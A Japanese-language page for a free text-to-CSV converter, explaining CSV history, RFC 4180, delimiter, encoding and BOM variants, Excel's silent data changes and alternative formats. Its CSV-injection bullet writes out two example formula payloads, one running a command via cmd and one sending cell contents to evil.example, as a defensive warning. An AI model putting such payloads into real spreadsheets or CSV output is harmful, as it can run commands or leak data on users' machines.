無料テキスト → CSV コンバーター

CSV形式について

CSV(Comma-Separated Values、カンマ区切り値)は、表形式データを保存するためのシンプルなテキスト形式です。各行はレコードを表し、値はコンマで区切られます。CSVは、スプレッドシート、データベース、分析ツールで広くサポートされています。

なぜCSVに変換するのか?

• データの移植性 · 任意のテキスト形式から、スプレッドシートにインポートしやすいCSVに変換します。
• 普遍的な形式 · CSVはExcel、Google Sheets、データベース、プログラミングツールでサポートされています。
• データクリーンアップ · 一貫性のない区切り文字とフォーマットを標準化します。
• APIと自動化 · CSVは一括操作と統合に最適です。
• アーカイブ形式 · 表形式データを読みやすくプラットフォームに依存しない形式で保存します。

よくある質問

ツールはどの区切り文字をサポートしていますか?

タブ、スペース、カンマ、セミコロン、パイプを自動的に検出します。1文字のカスタム区切り文字を定義することもできます。

カンマを含むフィールドを処理するには?

「カンマを含むフィールドを引用符で囲む」オプションを有効にして、それらを引用符で囲み、CSV準拠にします。

ヘッダーを含めることができますか?

はい、最初の行に列名が含まれている場合は「ヘッダー行を含める」オプションを有効にしてください。

CSVの小史：定義する仕様より古いフォーマット

CSVは誰もが使うが誰も所有しないフォーマットだ。その系譜は非公式だ。カンマ区切りの慣例に関する最も古い文書化された使用例は1972年にさかのぼる。IBM Fortran（レベルHエクステンド）がリスト指示型の入出力をサポートし、1行の値の区切りにカンマを使用していた。1970年代から1980年代を通じて、別のツールとデータを交換する必要があったあらゆるデータベース・スプレッドシート・統計パッケージ・会計アプリケーションが「ある文字で区切られた値をある別の文字で区切られた行に」という慣例を独自に考案した。仕様はなかった。統括機関もなかった。標準的な実装もなかった。あったのは、最も緩い意味でのコンセンサスだけだった。

2000年代初頭には混乱のコストを無視できなくなった。IETFはついに2005年10月にYakov Shafranovich著の仕様、RFC 4180、「Comma-Separated Values（CSV）ファイルの共通フォーマットとMIMEタイプ」を受理した。RFC 4180は短く、ほんの数ページで、大多数の人々がすでに採用していた慣行を成文化した。フィールド区切り文字としてのカンマ、カンマ・引用符・改行を含むフィールド用のオプションの囲み文字としてのダブルクォート、引用符付きフィールド内のリテラル引用符をエスケープする方法としての二重ダブルクォート（""）、行末文字としてのCRLF、IANAに登録されたMIMEタイプとしてのtext/csvだ。仕様はまた、送信者が受信者に最初の行がヘッダー行かどうかを伝えられるよう、MIMEタイプのオプションのheaderパラメーターも定義した。

RFC 4180は厳格な標準ではなく情報提供を目的とした文書だ。準拠は任意だ。しかしCSVが「正しい」とはどういうことかに最も近い目標を与えてくれる。後発の文書であるW3Cの「ウェブ上の表形式データとメタデータのモデル」（CSVW、2015年）は、各列が何であるかと解釈方法を記述するJSONサイドカーを付けることでCSVのメタデータ記述を拡張しようとした。CSVWは広く引用されるが、ほとんど実装されていない。

「CSV」の実世界での意味はRFC 4180が定義する意味とは異なる

見知らぬ相手からCSVを受け取ったことがある人なら、問題の構造を知っている。意見の相違はいくつかの軸に沿って分類できる：

• 区切り文字。RFC 4180はカンマを指定する。カンマが小数点記号として使われている国（ヨーロッパ大陸のほとんど、フランス・ドイツ・イタリア・スペイン・オランダ・ブラジル）では、ヨーロッパ版Excelのデフォルトは区切り文字としてセミコロンを使うCSVで書き出す。πを3,14と表記するような数値とカンマが衝突するためだ。ファイル拡張子は依然として.csvで、MIMEタイプも依然としてtext/csvだが、アメリカやイギリスの受取人が期待する内容ではない。
• クォート処理。RFC 4180では、フィールドに区切り文字・引用符・改行が含まれる場合はダブルクォートで囲み、埋め込まれた引用符は二重にする（He said "hi"が"He said ""hi"""になる）。実際には、すべてをクォートするライター（過剰防衛）、何もクォートしないライター（カンマが現れた瞬間に壊れる）、バックスラッシュでエスケープするライター（\"、RFC準拠のパーサーを壊すC言語の慣例）が混在している。
• 改行コード。RFC 4180はCRLF（\r\n）を義務付けている。Windows版ExcelはCRLFを出力する。クラシックMac版ExcelはCR（\r）のみを出力した。ほとんどのUnix・LinuxツールはLF（\n）を出力する。3種類すべてが.csvという拡張子のファイルに現れ、その違いが1つの改行コードにハードコードされたパーサーを壊す。
• 末尾の改行。最後のレコードを改行で終わらせるライターもあれば、そうでないものもある。改行を数えてレコード数を数えるパーサーは、入力によって1つずれたエラーを報告する。
• ヘッダー。実世界のファイルはほぼ半々に分かれている。MIMEタイプにはheader=presentパラメーターが許可されているが、CSVをメールで送る際にMIMEヘッダーを付ける人はいないため、推測するしかない。

BOMの罠

これは独立したセクションに値する。クロスプラットフォームのCSV問題の最も一般的な原因だからだ。Microsoft ExcelはファイルがUTF-8バイト順マークで始まらない限りUTF-8エンコードのCSVを自動検出しない。バイト順マークはUnicode文字U+FEFFをエンコードする3バイトEF BB BFだ。BOMがないとExcelはユーザーのWindowsロケールのレガシーコードページ（西洋圏ではWindows-1252、日本ではShift_JIS、中国本土ではGBK）でファイルを開く。非ASCII文字（アクセント付き文字・通貨記号・絵文字・CJK文字）はすべて文字化けする。

解決策はBOMを先頭に付加することだ。しかしそのコストは他のすべてがそれで詰まることだ。Apple Numbers（最近のバージョン以前）は最初のセルにBOMをリテラル文字として表示する。多くのコマンドラインツール（awk、cut、古いsed）はBOMを最初のフィールドの一部として扱うため、nameと読まれるべきヘッダーがnameと読まれる。ほとんどのJavaScript製CSVパーサーはBOMを取り除くが、多くの古いPythonのcsvモジュールのワークフローはそうしない（utf-8-sigコーデックでファイルを開く必要がある）。無料のオンラインツールはユーザーがどこでファイルを開くかを知る方法がないため、BOMを省略しExcelユーザーにはData → From Text/CSVでのインポートを案内することが（常にUTF-8を明示的に選択できる）合理的なデフォルトだ。

Excelが出荷する少なくとも4種類の「CSV」フォーマット

Excelの「名前を付けて保存」ダイアログには複数のCSVバリアントがあり、その違いは重要だ：

• CSV (Comma delimited) (*.csv)：ユーザーのロケールリスト区切り文字を使用（en-US/en-GBはカンマ、fr-FR/de-DE/es-ES/it-IT/pt-BRはセミコロン）。エンコーディングはレガシーのANSIコードページ。BOMなし。行末はCRLF。
• CSV UTF-8 (Comma delimited) (*.csv)：区切り文字の動作は上記と同じ（名前とは裏腹に依然としてロケール依存）だが、BOM付きのUTF-8でエンコードされる。Excel 2016で導入。
• CSV (Macintosh) (*.csv)：カンマ区切り、MacRomanエンコーディング、クラシックMacの行末（CRのみ）。ほとんど時代遅れだが今も見かける。
• CSV (MS-DOS) (*.csv)：カンマ区切り、OEMコードページ（en-USはCP437、西ヨーロッパはCP850）、CRLF。

ユーザー向けのラベルは4つの異なる方法で「CSV」と表記する。実際のファイルの内容は本質的に異なる。これがコンバーターが動作する実際の現実だ。

テキスト → CSV変換の具体的な用途

多くのオンライン「CSVツール」は逆方向で動作する。CSVを受け取り、他のもの（JSON・HTMLテーブル・SQL INSERT文・印刷可能なPDF）を出力する。このツールは逆だ。雑然としたテキストを受け取り、きれいなCSVを生成する。以下のユースケースに対応する：

• メールリストをスプレッドシートの行に整理する。CRMオペレーターがBCCフィールドから800件のメールアドレスをメモ帳にコピーする。メールマージツールへのアップロード用にスプレッドシートの各行に1件ずつ入れる必要がある。貼り付け、ヘッダー追加、ダウンロード。
• PDFからコピーしたテーブルの変換。PDFのテーブルをコピーすると、PDFジェネレーターによって列がスペースの連続（またはタブ）で区切られたテキストとして届くことが多い。柔軟な区切り文字（「連続する空白」を含む）でこれをきれいなグリッドに変換できる。
• AI生成出力の再構成。大規模言語モデルはMarkdownテーブルを出力するのが得意だ。ユーザーはMarkdownテーブルを貼り付けられる。コンバーターはパイプ区切り文字とダッシュ区切り行を検出し、出力は本物のCSVになる。
• ログをExcelまたはGoogle Sheetsにインポートする。Apache combined log形式・syslogレコード・多くのアプリケーションログは行指向だがスプレッドシートにそのままは向かない。CSVに変換し、スプレッドシートで開いてソート・フィルター・ピボット操作を行う。
• データベースのCOPY文用データの準備。PostgreSQLのCOPY ... FROM STDIN WITH (FORMAT csv)はCSVを直接読み込む。テキストファイルにリストを持つユーザーは、ローダースクリプトを書かずに貼り付け・変換・テーブルへの\copyができる。
• バッチ操作用CSVの手動作成。Stripe・Mailchimp・Shopifyなどほとんどのサービスはバルク操作用のCSVインポートを提供している。30件の商品価格を更新する必要があるユーザーが行を手動で作成すると、ツールがその入力リストをプラットフォームが期待する正確なCSVに変換する。

Excelはデータを書き換えることがある。時にはサイレントに

注意深いユーザーでも引っかかるCSVの地雷がいくつかある：

• 先頭のゼロが消える。米国の郵便番号01234は1234として開く。電話の内線番号0049は49として開く。製品コード00ABCはExcelが途中でテキスト列と判断した場合ABCとして開く。唯一の確実な防衛策は、先頭にアポストロフィを付加する（表示ハック）、列をテキストとして事前フォーマットする、またはExcelのData → From Text/CSVのインポートパスを使って列の型をロックすることだ。
• 科学的表記への自動変換。0123456789012のような長い数値文字列は、Excelが数値と判断すると1.23457E+11になる。元の文字は失われる。これは遺伝子名データセットをひどく破損したことで有名で、HUGO遺伝子命名委員会は2020年にいくつかの遺伝子を改名した。MARCH1・SEPT2・OCT4のような遺伝子記号が日付に変換されてしまうExcelの強制変換を回避するためだ。
• 日付の自動検出。音楽の拍子記号3/4・4/4・6/8・7/8を含む列は日付（4月3日・4月4日・8月6日・8月7日）になる。1-1のようなシリアル番号や1:30のような時刻でも同様だ。
• 16進数の解釈。0x1Aと0E5はどちらもExcelが認識する有効な数値表現だ。レジスタアドレスや化学化合物コードの列がサイレントに変換されることがある。
• CSVインジェクション攻撃。=・+・-・@またはタブ/CRで始まるフィールドはExcelとGoogle Sheetsで数式として解釈される。=cmd|'/c calc'!A0や=HYPERLINK("https://evil.example/?d="&A1, "Click")のような悪意のある値は、スプレッドシートクライアントの設定次第で隣接するセルの内容を流出させたりシェルコマンドを実行したりできる。ユーザー送信テキストからCSVを出力するツールは、先頭の数式文字のエスケープを検討すべきだ。
• 改行を含むクォートフィールド。クォート内にリテラル改行を持つ"Hello,\nworld"のようなフィールドはディスク上の2行にまたがる1つのフィールドだ。最初に改行で分割してからカンマで分割するパーサーはデータをサイレントに破損する。正しいCSVパースはステートマシンであり、String.splitの2パスではない。

このツールのCSVの現代的代替フォーマットの中での位置づけ

CSVが生き残っているのはテキストであり人間が読めるからだ。本格的なデータ交換では、特定の次元でCSVのシェアを奪ったフォーマットがいくつかある：

• Apache Parquet。バイナリのカラム型フォーマット。ファイルは型付き・圧縮済み・カラム指向（SELECT col1 FROM big_file.parquetはディスクからその列のみを読む）。分析ワークロードのデフォルトで、Snowflake・BigQuery・Databricks・Athenaはネイティブに読み込める。「両端を制御できるときCSVの代わりに何を使うべきか」の最有力候補だ。バイナリなので「テキストエディターで読める」というユースケースには対応しない。
• JSON Lines（JSONL / NDJSON）。1行に1つのJSONオブジェクト。CSVのストリーミング可能性とJSONの型付き入れ子構造を組み合わせる。ログ取り込み・MLデータセット・イベントストリームに広く使われる。トレードオフ：CSVより冗長（すべてのレコードがすべてのキーを繰り返す）。
• Apache Arrow IPC（Feather v2）。プロセス間・言語間のゼロコピー交換向けに設計された表形式データのバイナリのメモリ上・ネットワーク上フォーマット。データサイエンスのツールチェーン（pandas・Rのarrowパッケージ・Polars・DuckDB）内で広く使われる。
• AvroとORC。Hadoopエコシステム出身のバイナリでスキーマを持つフォーマット。データエンジニアリング以外ではあまり見かけない。

開発者とオフィスワーカーを対象とした無料のオンラインコンバーターにとって、CSVはデータインポートのリンガフランカであるためなお正しい出力フォーマットだ。現代的な代替フォーマットは存在するが、受信トレイでCSVに取って代わってはいない。

さらなる質問

出力にUTF-8 BOMを追加すべきですか？

WindowsでのダブルクリックによるExcel用途ならyes。BOMがないとExcelはレガシーコードページで開き、非ASCII文字が文字化けする。他の用途（Apple Numbers・コマンドラインスクリプト・Webアップロードフォーム）なら省略する。最も安全なのはBOMを省略し、ExcelユーザーにData → From Text/CSVでのインポートを案内することだ（UTF-8を明示的に選択できる）。

ExcelでCSVが1行1セルで開くのはなぜですか？

ほぼ常に区切り文字の不一致だ。Excelがセミコロンを期待するロケール（ヨーロッパ大陸のほとんど）なのにファイルはカンマを使っている（またはその逆）。ダブルクリックではなくData → From Text/CSVで開く。ウィザードで区切り文字を明示的に選択できる。またはローカルの区切り文字に合ったバリアントでExcelの名前を付けて保存メニューからファイルを保存する。

TSVとCSVの違いは何ですか？

TSVはカンマの代わりにタブ文字を区切り文字として使用し、独自のMIMEタイプtext/tab-separated-valuesとIANA登録を持つ。TSVの利点は実世界のデータにリテラルのタブが含まれることはほとんどないためクォートが不要なこと。欠点はタブがテキストエディターで不可視であり、コピーペーストの動作が異なること。CSVのクォートの仕組みは区切り文字を含むフィールドを安全に処理するが、TSVはほとんど問題そのものを回避する。

ファイルを共有する前に実行できるCSVリンターはありますか？

コマンドライン用途ならcsvkitのcsvcleanが列数が間違っている行を報告する。Frictionless Dataのfrictionless CLIはオプションのスキーマに対して検証する。ブラウザベースの作業にはPapaParseが行ごとのパースエラーを報告する。RFC 4180への厳格な準拠（CRLF改行・ダブルクォートエスケープ）の検証は実際にはまれで、ほとんどのパーサーは一般的なバリアントのいずれも受け入れる。

関連ツール